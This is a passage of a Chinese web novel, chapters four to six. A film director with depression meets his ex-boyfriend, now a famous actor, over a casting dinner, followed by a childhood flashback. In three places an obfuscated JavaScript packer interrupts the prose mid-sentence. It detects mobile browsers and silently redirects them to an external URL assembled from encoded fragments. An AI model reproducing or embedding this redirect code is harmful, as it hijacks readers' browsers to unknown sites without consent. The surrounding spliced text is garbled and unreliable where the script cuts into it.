他们团队原本就订好了回海市的机票,是明天傍晚的,怎么突然就急得要提前了?差这一时半会儿吗? “现在立刻就订机票。” 席追没时间和他们解释,只是拿着手机快步走了出去,“我出去打个电话。” 4. 【第004章·新剧本】 海市,周日晚。 闻潮声进入餐厅包厢时,简今兆已经带着自家艺人提前到了。 他推了推自己的眼镜,有些拘谨地坐在了两人的对面,“今兆,怎么选了这么一个地方?” 闻潮声从小就社恐严重,除了和电影相关的工作,外出在其他场合都会感到拘束。 今晚的餐厅被包了场,刚才他一进门,全体服务生冲着他毕恭毕敬地打招呼,那欢迎声震得他头皮发麻、恨不得立刻转身就走。 闻潮声心有余悸地嘟囔,“其实我们电话沟通就挺好的。” 简今兆听出了闻潮声的弦外之音,笑着安慰,“潮声,今晚总共就四个人,你别紧张。” 他边上的年轻人顺势接话,“是啊闻导,咱们早晚都得在剧组天天见,你这么怕生,以前都是怎么在片场当众导戏的?” 简今兆出声提醒,“俞演,别没大没小。” 俞演是鲸影新签约不久的新人演员,在《烂泥》的试镜中发挥出色,拿下了剧本里弟弟一角,算得上是一个有天赋又有灵气的好苗子。 闻潮声不介意俞演的调侃,端起水杯抿了一口。 他想起自己来这儿的目的,好奇追问,“今兆,你找到合适的演员人选了?是谁?” 今天上午,他接到了简今兆打来的电话,说是找到了很适合出演“哥哥姚逸”这一角色的演员,但又故意不告诉他名字,只说今晚想约个饭、碰个面。 “不是什么外人,你也认识。”简今兆将卖关子进行到底。 闻潮声愣了愣,不自觉地看向了自己身边空着的座位,“我也认识?” 还没等他反应过来,包厢门就再度被人打开,一道清冽平稳的声线传了进来。 “抱歉,路上有点堵车,我来晚了。” “……” 再简单不过的一句话,击得闻潮声的大脑瞬间空白。 头晕耳鸣如同电流般扩散,凝固了全身上下的血液,心脏更像是被一双无形的大手紧紧攥住,无法呼吸,也不敢呼吸。 这些是紧张过度才会引发的症候。 闻潮声近乎机械地侧过视线,确认着包厢门口的男人的存在。 不巧,刚进门的席追也在看着他。 “……” 多年不见,男人的眉眼已经褪去了记忆里的稚涩,沉淀着历练后的成熟和稳重,深棕色的瞳孔光泽冷了些,根本不见往日该有的熟悉温度。 陌生的比重,超过了回忆里的熟悉。 短短几秒的对视,却在闻潮声的心里拉开了一个巨大的裂口,他从未比此刻更加清晰地意识到—— 他们两人已经分开了将近六年。 这些不曾交集的时间,足以改变很多事情、改变一个人。 闻潮声的手控制不住地发颤,握着杯子的指腹用力到泛白,在霎那间失了力气。 ——哐当! 水杯砸在桌子边缘,又落在瓷砖地面碎得四分五裂。 闻潮声像是骤然惊醒,藏在镜片下的眼眸中闪过一丝慌乱,他下意识地俯身去捡,结果就听见边上人的声音。 “有溅到衣服上吗?” 席追快步走了过来,冷静制止,“别捡,你退后,让服务员来处理。” “……” 闻潮声张了张嘴,却干涩地连句“对不起”都说不出来。 他顺从地往后退了两步,像个做错事的孩子抓了抓自己的衣角,无措又不安:明明今天出门前已经吃过药了,可还是惹麻烦了。 餐厅服务生很快就带着清扫工具走了进来。 闻潮声垂下眼眸,盯着服务生的视线失焦,凝滞的思绪还转不过弯来。 他怎么都没想到,简今兆口中合适的演员人选,会是他日思夜想的席追。 早知道是这样,今晚就应该穿得更得体一些,而不是随随便便套了一件洗旧的T恤就来了,也太磕碜了。 闻潮声很尴尬,脑海中甚至掠过想要趁机藏到桌子底下的念头,眼神始终不敢看向身边。 “……” 趁着服务员打扫的功夫,席追的目光静静留在了闻潮声的身上,不算冒犯的审视里带着一种微妙而复杂的情绪—— 眼前人比记忆里还要再瘦一些。 面色苍白,嘴唇也没什么血色,眼下的黑眼圈很重,是连厚重镜片都遮盖不住的程度。 整个人看起来像是一株缺乏养分和照料的干枯小草,只需微风轻轻一拂,就能轻易折断,瞧着怪可怜的。 他还以为,这人和自己分手后在国外生活得有多好呢,结果也就这样? 席追心尖凝上一丝可笑的涩意,面上却带着轻松的笑,“闻导,好久不见。” 毫无波澜的平静语气,甚至还细心地为闻潮声拉回了椅子,仿佛两人之间仅仅是多年未见的普通关系。 “……” 闻潮声说不出话,隐秘的酸涩将嗓子彻底封死,一颗心沉甸甸的。 “席老师,你好。” 俞演年纪轻轻,却是个有眼力的。 他主动起身打破僵局,“我是俞演,是鲸影刚签约的新人,还请您多多关照。” 席追偏头看去,才注意到对面的两人,“客气了,我听今兆提到过你,是闻导新电影的主演之一?” 俞演点头。 简今兆察觉出了闻潮声不太对劲的沉默,出声,“先坐吧,坐下再聊?” 俞演是个上道的,立刻玩笑接话,“简老师,这儿就数我资历最浅,闻导和席老师不坐下,我不敢坐啊。” 闻潮声听得出对面两人是在缓解气氛,也知道自己在傻站会显得很异常。 事已至此,已然没了临阵脱逃的可能,他强装镇定地推了推下落的眼镜,重新坐了下去。 席追和俞演跟着坐下,后者主动打开话闸,“要是没记错,闻导和席老师很久之前就合作过了?” 席追看了一眼还当哑巴的闻潮声,主动应答,“嗯,要不是闻导,我还进不了这圈子。” 简今兆笑着接话,“巧了,我也是。” 闻潮声作为导演,早些年上映了两部电影—— 第一部作品《轮廓》捧出了席追,第二部作品《花月》成就了简今兆,要不是后来突然在影视圈销声匿迹,这会儿早该在导演圈有一席之地了。 也就是剧盒老总眼神不好使看轻了闻潮声,故意卡着投资,才让他们鲸影有机会捡漏。 身为这场饭局的发起人,简今兆举起了酒杯,“要不,我们大家喝一杯再聊?” 席追眉梢微挑,“当然,这么久没见,是该碰一杯。” 说着,他就看向了边上的闻潮声,“闻导,能喝吗?” “……” 出门前才吃了抗抑郁的药,是不能饮酒的。 可闻潮声感受到边上投来那道目光,想要拒绝的话卡着了喉中。 他端起酒杯,勉强找回了自己的声线,“嗯。” ——砰。 杯壁轻碰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466649|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>下一秒,席追的手腕略微偏了偏,状似不经意地蹭上了闻潮声的手背。 眨眼间,又分开了。 温热的酥麻感一闪而过,短暂地像是错觉。 闻潮声握着酒杯的手抖了抖,好不容易才稳下来的呼吸又乱了。 他没忍住,偷偷瞄了一眼席追,没想到被抓了个正着。 席追神色自若地饮了一口香槟,像是没在意刚才的那点接触,“怎么了?” “……” 果然是不小心的。 闻潮声缩回目光,暗暗反省自己的敏感和多心。 席追从来就不会在这种事情找存在感,他不是这样的人。 反倒是自己,因为一丁点儿接触就乱了阵脚,还脑补以为对方是故意碰他的,也太不像话了。 闻潮声不太自在地抿了抿唇,仰头将小半杯香槟饮尽,喝得有些急。 服务员将定好的菜品一一送上桌,又给他们添好了香槟,快速离场。 简今兆不爱说场面话,直截了当地和闻潮声说明了情况,“潮声,我觉得席追各方面都挺符合姚逸这个角色,才想着今晚约时间碰面详谈,你是导演,你觉得怎么样?” “……” 闻潮声慢半拍地抬眼,藏在桌下的左手小幅度地捂了捂腹部。 刚下肚的香槟很凉,激得他的胃隐隐不舒服。 还没等他想好怎么开口,一旁的席追就抢了先,“不急,我们先吃饭吧,吃饱了再谈这事。” 简今兆应下,“也行。” 话题节奏被席追轻易掌控,闻潮声只能安静地切起了自己面前的牛排。 他毫无缘由地回想起那份被拒的邮件,心中顿时感到一阵滞涩—— 明明都已经公式化地拒绝过他的邀约了,为什么今晚又会出现在这场以电影为名义的饭局上? 因为是今兆亲自邀约,所以席追才愿意给个面子过来? 也对,他这个导演没什么含金量,但身为监制和投资方的简今兆就更说服力,两人都是圈里数一数二的演员,年纪还相仿,肯定聊得来。 “在想什么?你都快把牛排切成牛肉丁了。” 边上传来席追的问话,平静之余似乎含了一丝无奈。 闻潮声偏移的思绪回笼,气息颤了颤,“……啊?” 他这才发现,自己把一块完整的牛排“折磨”得不成样子。 对不起牛排。 闻潮声胡乱地想,抬眼时又注意到对面的两个位置已经空了。 “……” 今兆他们呢? 内心的疑问刚冒出头,边上席追就准确作答,“俞演说自己不舒服,简今兆就带着他先走了,他们离开前还和你打过招呼,你没听见?” 闻潮声迷茫地眨了眨眼,完全不知道这回事。 说不上是药物作用,还是酒精带动,从见到席追的那一刻起,他的思绪和反应就已经停滞了。 整个人都处在极大的局促和紧张中,光是呼吸都觉得费力气。 闻潮声用余光注意着边上的人,想着自己是该走还是该留,“那我也……” “也什么?也想走?” 席追将闻潮声眼神里的闪躲看得一清二楚,进入包厢这么久了,这人却完整的一句话都不肯施舍给他。 心潮霎时泛滥,说不上是气还是涩。 “闻潮声。” 席追连名带姓地喊,目光幽深难辨,“几年不见成哑巴了?和我就没什么话要聊?” 5. 【第005章·新剧本】 “……” 或许是这声质问来得太过直白,闻潮声的喉咙猛然发紧。 他觉得自己需要喝水,但可惜水杯已经被他打碎了,又忘了叫服务生重新添上。 闻潮声感知到身边紧盯不放的幽深目光,只好拿起桌上的酒杯。 冰凉的酒液入喉,有些辣。 他闷咳一声,勉强找回自己的声音,“不是,我就是没想到今兆、今兆他会喊你来,你、你不是不想吗?” 一句话说得断断续续,没头没尾。 但席追凭借着对闻潮声以往的那点了解,全听明白了。 “他喊我来,自然是为了谈电影合作。” 席追顿了顿,再开口带着点刻意,“对了,我看见《烂泥》剧组的邀约邮件了,所以实在是很好奇。” “……” 原来席追看见那封邮件了? 可他还是拒接了。 闻潮声有点难过,慢半拍地抬眸追问,“好奇什么?” 席追和他对上视线,眉梢微挑,“隔了这么些年,闻导是出什么想法,才会对自己的前男友发出电影邀约?” “前男友”三个字,咬得格外重。 闻潮声像是被掐住了什么命脉,迅速低下头。 席追只觉得他低眸沉默的样子刺眼,“这些年,在国外待得不是挺安逸的?怎么又想起回国重操旧业了?” “……” 一瞬间,闻潮声难过更甚。 他暗暗抓了一下里侧口袋里的药,像是隔空给自己下了一道镇静指令。 闻潮声原本是不擅长撒谎的,但眼下顾不得那么多了,“不是,我给很多觉得合适的演员都发了邀约邮件,不单单是发给你的。” “……” “电影拍摄是工作,和已经过去的私人、私人感情无关。” 闻潮声只“解释”了前一个提问,又自动略过了后一个提问。 席追沉默两秒,似笑非笑,“挺好的,闻导倒是公私分明。” “既然给那么多演员都发了电影邀约,可我怎么听今兆说,电影主演的人选到现在都还没定下来?” 闻潮声想起简今兆组这场饭局的目的,会错了意,他像是对眼前人说,也像在自我安慰,“没关系的。” “我……看到那封拒绝的邮件了,知道你不想接我的电影。” “……” 席追没说话。 闻潮声默认了这个结果,又怕他不满意,“你放心,我待会儿就发微信和他说清楚,剧组已经找到了其他合适的演员人选。” 留给剧组选角的时间确实不多了。 他是导演,不能因为那点见不得光的私人感情,而影响整个剧组的筹备进度。 “……” 席追觉得这会儿自己才是需要喝酒的那个人,但想起待会儿还要开车,不得不忍住。 他只好拿出自己随身携带的香烟,捏在指腹里把玩,看似不经意地询问,“是吗?定了谁?” 闻潮声如实回答,“方彦洲。” 综合下来,方彦洲确实是排在第二序位最合适的主演人选。 虽然还没到正式签约的那一步,但他们剧组很快就会找对方的团队对接了。 “他啊。”席追指腹捏紧香烟,没点燃,“看上去确实会是闻导喜欢的那一款。” 闻潮声没听明白,只顺着点了点头,“嗯,他是挺符合剧本角……” “剧组已经和他签约了?”席追当即打断,话锋一转,“要是没签约的话,我是不是还有机会争取?” “……” 争取什么? 闻潮声好不容易才转动的思绪又卡壳了。 席追也不指望这人能主动表态了,摊开讲明白,“我原本下半年准备休假,所以团队前阵子替我拒绝了很多档期不匹配的邀约。” “我后来看到了《烂泥》的人物梗概,觉得姚逸这个角色很不错。” 闻潮声藏在镜片下的双眼微微睁大,生怕自己是因为药物才导致的幻听,他忍不住看向席追确认,“你的意思是,你、你想演吗?” 席追将闻潮声的反应尽收眼底,心尖的那点急切又收了个干干净净。 “闻导刚刚有句话说得对——” “工作是工作,没必要扯什么私人关系,演员能遇到合适的、喜欢的角色不容易。” “我原本很想争取一下这个角色,剧组有什么要求都可以尽管提,能配合的,我和我的团队都可以配合。” “不过没想到,来迟了一步。” 席追适时表露出一丝遗憾,又表现得很大度,“方彦洲是个很不错的演员,预祝你们合作愉快。” “……” 闻潮声张了张嘴,胸中各种情绪交织堵塞,不知道该怎么回复。 回国拍电影是他的目标,让席追来拍他的电影是藏在工作之外的私心。 他原本都已经做好了席追厌恶他、不愿出演的准备,但没想到事实却截然相反。 席追比他更拿得起、放得下。 席追望着闻潮声欲言又止的沉默,以退为进,“不过,从我进包厢起,闻导好像就挺抵触我的存在,看来是没什么希望了。” “既然如此,我就先走了。” “……” 闻潮声怔住了。 “今晚包厢的费用会从我卡里扣,闻导有什么想吃的尽管点。” 席追迅速起身,将自己未动的温水递到了闻潮声的面前,“这香槟有点度数,一个人少喝点,我就不打扰了。” 说完,他就干脆利落地往外走。 “席……” 闻潮声本能地想要追上去,却在起身的那一瞬间,骤然脱力跌坐回了椅子上。 滋—— 药物混合着酒精的副作用强忍到了现在,反噬来得猛烈,剧烈的耳鸣晕眩让闻潮声的脸色霎时苍白。 他眼睁睁地看着席追的背影走远,以往无数次梦境堆叠浮现在眼前,无论怎么挣扎着想要去追,都只能被困在原地。 不是的! 不是这样的,你别、别走。 闻潮声痛苦地弯下腰喘气,挽留的话硬生生卡在喉咙中。 懊悔的情绪如同长了爪的恶魔,啃噬着他本就不堪负荷的心脏—— 原来席追是想演这个戏的? 是他被邮件拒绝了一次后就退缩了,是他没能抓住这个机会! … 席追走出餐厅时,天色已经全黑了。 夜里残存的热意向他扑了过来,点燃了席追一直压抑的焦躁情绪。 他偏头看向门镜里的自己,往日最会佯装的温雅早就不翼而飞,这会儿正沉得可怕。 那人没有跟着出来。 意料之内,情理之中。 “艹。” 席追暗骂自己的失误和冲动,却没打算就此离开。 他环视了一圈,找到了停车场边上的一处自动贩卖机,迅速走近绕后,利用机器的便利遮挡了一下自己的身形。 从这个角度,正好能看清餐厅正门,可以确认闻潮声什么时候会离开。 “……” 席追也觉得自己的行为可笑。 他低头望着掌心里的香烟,刚才那一番看似漫不经心的把玩,实际上整根香烟都已经被他用力捏到了变形。 席追没忍住,摸出打火机点燃。 星火萌动,缀着他眉心里的郁色。 滋滋滋。 口袋中的手机响起来电震动。 席追吐出一口烟雾,接通,“喂。” “……” 电话那头的助理沉默两秒,不太确定地问,“席哥,你没事吧?怎么听着情绪不好啊?” “没,找我什么事?” “明早的杂志拍摄别忘了,我和司机八点去接你,不过你今晚住哪里?悦湾还是荣安?” 前者是席追用于短住的酒店公寓,后者是席追在海市置办的家,拢共也没住过几回。 “悦湾。” 席追目光落在餐厅正门,在脑海中重新复盘了一下刚才在包厢里的对话,“小照,联系茴姐帮我做两件事。” “哥,你说。” “以工作室的名义去和鲸影谈投资,就说我看中了《烂泥》这剧本,想要往电影里面投点钱,金额他们说了算,后期分成无所谓。” 就算当不成电影主演,他照样可以利用投资甲方的身份参与进这个项目。 “……” 助理想了想,又问,“哦哦,那第二件事呢?” “你让茴姐找闫青山导演引荐一声,越快越好。就说,演员方彦洲比我更适配闫导的新电影角色,而且对方下半年应该还有档期。” 助理越发一头雾水,“啊?” 这又是玩哪一出啊? 闫青山算是圈内知名的大导演了,圈内排队想要合作的演员不计其数。 而且他们团队和方彦洲团队本来就没瓜葛,无缘无故干嘛还要给对方引荐铺路? 席追懒得解释,视线始终停留在同一个方向,“你照做就是,挂了。” …
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466650|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 每次发病的时间有长有短。 或许是闻潮声想要挽留席追的心太过强烈,这回头晕耳鸣竟然没有持续过久的时间,等到状态稍稍好转,他就跌跌撞撞地跑出了包厢。 今晚的餐厅被包了场,室外停车场里几乎没停什么车子,总共也就五辆。 闻潮声拢住自己发僵发汗的手掌心,带着一丝连自己都觉得可笑的、渺茫的祈祷,挨个朝这些车里面看了过去。 没有。 还是没有。 希望在最后一辆越野车上彻底落了空,力气连同流失。 闻潮声的膝盖不受控地往前一载。 下一秒,他的手肘就猛地被人拉住,前后颠转,抵进了一个熟悉却又陌生的胸膛,“闻导是在找谁?” 面临干枯的心房骤然涌入了新泉,扯回了一线生机。 闻潮声抬头望着眼前的席追,突然觉得刚才的祈祷还是有点用的,上帝真的给他第二次机会了。 他咽了一下苦涩发干的喉咙,企图让自己的声音听上去没那么奇怪,“你、你还没走啊?” “临时接了一个工作电话,正准备走。” 席追这么说着,擒着闻潮声的手肘却没松。 不到十分钟的功夫,眼前人的面色看着更差了一些,镜片折射出眼角的潮红,看上去很脆弱。 席追只当闻潮声是喝醉了。 对方以往就不会喝酒,酒量差得一杯就倒,喝醉后再醒来就会断片记不住事。 看来,这些年还是没长进。 “这是醉到连路都走不稳了?需要我送闻导回去吗?” 席追才问出口,就怕是自作多情,“还是你有人来接?” 闻潮声摇了摇头。 他一瞬不瞬地望着近在咫尺的席追,无数个日夜积攒的思念,在酒意和病态的催发下,化为孤注一掷的冲动。 不知道是从哪里来的勇气,闻潮声反手抓住了他的手腕,“席追,你是想要进组吗?真的想吗?” 席追眸光微变,顺着说,“是,闻导这是愿意给我机会了?” “嗯。” 闻潮声抿唇,牙齿在打颤,“但我、我有个条件——” 体内像是疯狂冒出了另外一个人格,将以往的懦弱和退缩一并吞没,容不得他深想就已经脱口而出,“你陪我一个晚上。” 席追的神情破天荒凝固了两三秒,直到察觉到闻潮声的手上传来的颤抖,“你说什么?哪种陪?” “不是你说,为了角色,有什么要求都可以提吗?就是你想的那种。” 闻潮声已经感觉不到自己在说话了,整个人麻木却又决绝,“和我上、上床。” 他知道自己的言行在对方看来可能是没有逻辑的发疯,但眼下已经顾不得这么多了。 他实在是太想了。 想要席追的拥抱,想要席追的一切,想要席追短暂的温存来熬过这些年无法治愈的心病。 如果这是上帝赐予的最后机会,那闻潮声只想紧紧抓住眼前人,哪怕只有一个晚上,哪怕之后永远坠入地狱也在所不惜! 滋—— 电流声又一次放大。 闻潮声本能地低头抵抗不适,却错过了席追眸底近乎风暴的郁色。 忽然间,他的下颚就被对方狠狠扣住,用力往上一抬。 “唔嗯。” 闻潮声吃痛,余光正好瞥见了对方手背上冒起青筋,恍惚了两秒,没了挣扎。 席追一言不发地盯着眼前熟悉却又透着陌生的脸,脑海中冒出无数疑问—— 所以呢? 到底为什么? 当年为什么用一条微信就单方面宣告了分手、删除了他的微信?为什么轻而易举就把他年少时的真心随意践踏、戏耍?为什么把他一个人丢在国内、自己却在海外逍遥快活! 现在,又为什么回来? 为什么能在醉酒后对他提出这种要求?上床?这是把他当成什么了? “……” 胸口堆聚了一团晦涩的怒意,经年累月,却始终找不到出口,席追始终想不明白,但早在六年前就被践遂的自尊心,更不允许他像个小丑一样去乞求答案。 无声的对峙持续了很久。 闻潮声的灵魂虚浮地飘在半空,全身僵硬地如同木偶,他不确定自己即将迈进的是又一层地狱,还是虚构如同泡沫的假想天堂。 终于,席追荒唐地笑了一声,“好啊。” 他禁锢在下颚的指腹松了力道,似有若无地摩挲了一下,“闻潮声,你还真是出息了。” 6. 【第006章·旧时光】 -二十年前- 炽热的阳光被落地窗严严实实地阻挡在外,偌大的洋房宴会厅,每一处都被大红色的“寿”字装点得喜气洋洋。 闻潮声戴着一顶儿童太阳帽,怯生生地躲在父母的身后,偷偷观察着周围的陌生面孔。他的小手攥紧了自己的书包带子,仿佛这样就可以在陌生环境里多挤出一丝安全感。 “声声,别躲着了,快打招呼——” 宋雪兰温柔牵起自家儿子的小手,将他带到跟前,“这是席爷爷。” 今天寿宴的主人翁是席老教授,席锡山,是国画圈内有名的大拿。 席锡山平时不喜欢铺张,但正值花甲之年,他膝下的一女一儿还是在家中替他举办了寿宴,只邀请了少部分的亲朋好友。 席、闻两家算得上世交。 刚刚在来的路上,闻春申和宋雪兰就已经轮番教过了贺词。 闻潮声在父母的眼神鼓励下,对着寿星乖乖鞠了一躬,“爷爷好,祝您身体康健,福如东海,寿比南山。” 因为紧张,他的声音很软,软到有些发颤。 席锡山很喜欢小孩子,笑眯眯地应下,“诶,谢谢声声,一转眼都长这么大了。” 余音刚落,边上又传来动静,“爸,我把小追带过来了。” 一大一小的两道身影走近。 闻潮声倏地藏回到了父母的身后,然后再次探出小脑袋,悄咪咪地观察—— 被带来的小男孩比他高出不少,长得很好看,打扮酷酷的,只是这会儿抿着一张小嘴,似乎还不太开心地蹙着眉头。 “……” 哇,好像有点凶。 揍起人来应该也很疼。 闻潮声没由来地胡思乱想着,又安静地看起大人们的互动。 席渠鑫主动和闻春申拥抱了一下,揶揄,“大导演,总算把你从海市盼回来了!你说你们夫妇,这都几年没回来了?” 两人本来就是发小,而他们的妻子沈若和宋雪兰也是闺蜜,以往在帝京就是常走动的关系。 后来闻春申和宋雪兰为了电影事业搬去了海市,双方见面的次数这才少了,但感情交集没有变浅。 “这不就见上了?”闻春申拍了拍好友的肩膀,看向了一旁小男孩,“这就是席追吧?长挺挺俊啊,眉眼像你。” “……” 席追刚才在二楼玩游戏呢,才进行到一半就被喊了下来,这会儿他正惦记着游戏结果,心不在焉的。 “对,小追——”席渠鑫提醒,“这是你闻叔叔和宋阿姨,快问好。” 席追还是有礼貌的,“叔叔好,阿姨好。” 宋雪兰看见大大方方的席追,眉眼间透着喜欢,“我记得,小追比声声小了一岁?个头这么高啊。” 沈若记得很清楚,“不到一岁,你家十二月的,我家次年十一月的,日子都是二十二号。” 两个孩子的出生月份小,眼下都还没过生日,这会儿虚岁也就七八岁,下半年才要正儿八经上小学。 “……” 席追本来还没注意,听见这话才发现一群大人里还躲着另外一位小朋友。 对方的大眼睛又润又亮,眨巴眨巴,皮肤很白,露在帽子外的发尾带着一点点小卷,这让他突然就想起了商场橱窗里的洋娃娃。 正想着,沈若就拍了拍他的后背,“小追,快喊哥哥。” “才不喊。” 席追酷酷拒绝,目光对着闻潮声比较打量,“他长得小小的,看起来还没我大,他喊我哥哥还差不多。” 闻潮声不敢反驳,闷闷地想—— 他才一点儿都不小呢! 放假前才做过体检,医生老师说过的,他是正常身高! 席渠鑫“啧”了席追一声,“你好好说话,让你喊哥哥,那就喊哥哥。” 闻春申很随意,“没事,不想叫就不勉强,俩孩子的年纪差不多,等熟悉了相互喊名字就行。” 席老先生也这么认为,“是啊,早晚能玩到一块。” “小追,声声是客人,他一个小朋友待在这里会无聊,你带他上楼玩一会儿?”沈若弯腰和儿子沟通,“待会儿爷爷要切生日蛋糕了,妈妈再让人喊你们下来,好吗?” 席追看了一眼闻潮声白净的小脸蛋,向来排外的他难得没拒绝,“好吧。” 他乐意,闻潮声却不太乐意。 初到一个陌生环境本来就紧张,现在还要离开爸爸妈妈去二楼?这席追看着就不好惹,万一待会儿把他揍了怎么办? 闻潮声含含糊糊地开口,“妈妈,我……” 宋雪兰摘掉他的小帽子,露出一头毛茸茸的卷发,理了理,“宝宝,没事的,你暑假过后就要上小学了,不能永远躲在爸爸妈妈身后。” “而且,你答应过妈妈要多交新朋友的,是不是?” 闻潮声没回答,也不敢主动凑到席追的身边去。 席追还惦记着那盘玩到一半的游戏,巴不得赶紧上去,他见闻潮声慢吞吞的,上手就拉,“我带你玩还不乐意呢?快点的!” 说着,他就握着闻潮声的手腕、带着对方快步往楼梯的方向走。 “诶!你、你……” 闻潮声慌得耳朵都红了,被迫跟着他往前走。 偏偏席追的手劲贼大,他挣扎了一下没甩开,只好拼命迈着小短腿跟上对方的节奏。 “小追!你们走慢点!别摔了!” 沈若被两小孩的背影逗乐,回过神后才挽住闺蜜低声问,“我看着,声声这性子是不是太内敛了?” “别提了,怪我和他爸工作太忙、不留心。” 宋雪兰叹了口气,解释起缘由,“声声之前在幼儿园被两个大班的小孩子欺负、抢零食、抢玩具,愣是吓得不敢吭声。” 最严重的一次,闻潮声的腰和后背都被揍青了,是他们第一时间喊了老师、查幼儿园监控才发现不对劲。 沈若一惊,“哎哟。” 宋雪兰说,“声声这性子,本来就比一般小朋友都内向,从那之后就不敢交朋友了,尤其是体型比他高、比他壮的。” 沈若安慰她,“孩子还小呢,交朋友这事慢慢引导吧,只要健健康康就行。” “嗯。” … 席家历代从艺、从文,到了席渠鑫这代才开始做了生意,如今积攒下来的家底还不错。 席追是正儿八经的京圈小少爷,自打记事起就有自己独立的超大卧室,里面还划分开了好几个独立空间。 他刚领着闻潮声进了卧室,就听见左边游戏室内传出的尖叫哀嚎声。 “诶诶诶!我要输了我要输了!照野你赶紧过来帮我……快快快——” “啊啊啊小追呢?他怎么还不回来?” 紧接着,一声“Game Over”的冰凉机械音就扼住了这道吵闹的求助声。 席追立刻松开闻潮声的手,走了过去,“就知道你们没了我会输!” “……” 手腕上的力度骤然一松,反倒像缺了什么安全保护。 闻潮声有些无措,下意识地跟着席追往前走了几小步,离得近了,他才瞥见了左边房间里的景象—— 大型的液晶显示屏上似乎是一款闯关游戏,还有两个年纪相仿的小男生。 一个穿着粉色的卡通背心趴在地毯上,身边堆满了开袋的零食。 还有一个穿着黑色短袖,盘腿着腿板板整整坐在沙发上,看着有点像外国小孩。 听见席追的声音,粉色小背心转过头,“你下楼干嘛了?” “喏。” 席追侧身指向闻潮声,“我妈妈让我带他一起玩,叫……” 他还没记住名字,只好用眼神示意闻潮声,“你叫什么?” 没了席追的身形遮挡,里面的两个小男生也齐刷刷看了过来。 “……” 完蛋了。 不会一起揍他吧? 闻潮声顿时僵在在原地,小身板因为紧张而挺得笔直,“我叫、叫闻潮声。” “哈喽!”粉色小背心特别热情打招呼,还拿着游戏手柄问他,“你要玩游戏吗?” 闻潮声暗暗松了口气,摇头,他对游戏不感兴趣。 席追想起父母的交代,不太确定地问,“那你想做什么?我妈妈让我带你玩。” “……” 不用带他玩也没关系,别揍他就行。 闻潮声暗戳戳地想,小眼神却往四周转了转。 很快地,他就注意到了右侧角落里的书架,上面放了一排的故事绘本,好多都是家里没有的! 闻潮声像是发现了新大陆,瞪大了眼睛,他按捺住自己内向的惊喜,小心翼翼指着书架,“我看书,可以吗?” “你要看书?” 席追还以为自己听错了。 怎么会有小孩不喜欢玩游戏?喜欢看书啊?真的假的? “不、不行吗?” 闻潮声的嗓音软软的,眼里透着紧张,睫毛跟着颤了颤。 席追觉得他更像橱窗里精致的洋娃娃了,“随便你。” “谢谢你。” 得到这声同意的闻潮声却很高兴,扫开心里那点不成形的担忧:席追应该不会揍他! “……” 在席追的注视下,闻潮声乌龟般地挪了过去。 他扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466651|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视着差不多高的定制书架,认真挑了一本自己最感兴趣的故事绘本,爬上椅子,乖乖坐好。 书桌上堆满了乱七八糟的赛车积木,根本没地方放书翻阅。 闻潮声不敢弄乱别人的东西,只好将绘本平放在膝盖上,专注而虔诚地翻开了第一页。 与此同时,粉色小背心嚷嚷着,“席追,快来玩游戏!” “来了。” … 又一局闯关胜利。 席追放下游戏手柄,第一时间看向了外面。 闻潮声还维持着板正的、低头看书的姿势,他后脑勺的小呆毛就翘了起来,卷卷的,跟小弹簧似的。 席追忍不住多看了两眼,很想要上手按一按,他没了玩游戏的心思,“我累了,休息一下。” 书桌前的闻潮声正沉浸在故事世界里,完全过滤了游戏室的那些动静。 直到席追弯腰凑到了他的身边,“喂,有这么好看吗?你一直低着头不累啊?” “……” 闻潮声吓了一大跳,整个人猛然往后一缩,后背哐当砸在了椅背上,“唔。” 席追连忙直回身子,懊恼蹙眉,“你胆子怎么这么小?我又没想要吓唬你。” 闻潮声往后挪了挪身子,“哦。” 他正看到坏蛋出现呢,结果席追的脑袋就突然凑了过来,他能不被吓到吗? 怎么想都是席追的错! 闻潮声敢想不敢言,只是攥紧还没看完的绘本,生怕被眼前人收回去,“我、我还没看完。” “喏,给你喝的。” 席追将一杯鲜榨的芒果汁递了上去,随手拂开桌面上乱七八糟的积木,替闻潮声腾出位置,“你把书放在桌上看,这个姿势看书不好。” 闻潮声没想到席追居然还会抽空关心他,很震惊,“谢谢。” 他真是个好人! 闻潮声在心里肯定了这一结论,很配合地端起芒果汁喝了一口,又将膝盖上的绘本放在了桌上。 为了不再让席追说他看书姿势不好,他很刻意地挺直了小身板,正打算继续看故事绘本—— 下一秒,门口就响起了佣人的声音,“小少爷,楼下的寿宴要切蛋糕了。” 席追应下,“哦,知道了。” 闻潮声没想到这么快就要下楼,绘本还没看完,芒果汁也没喝完。 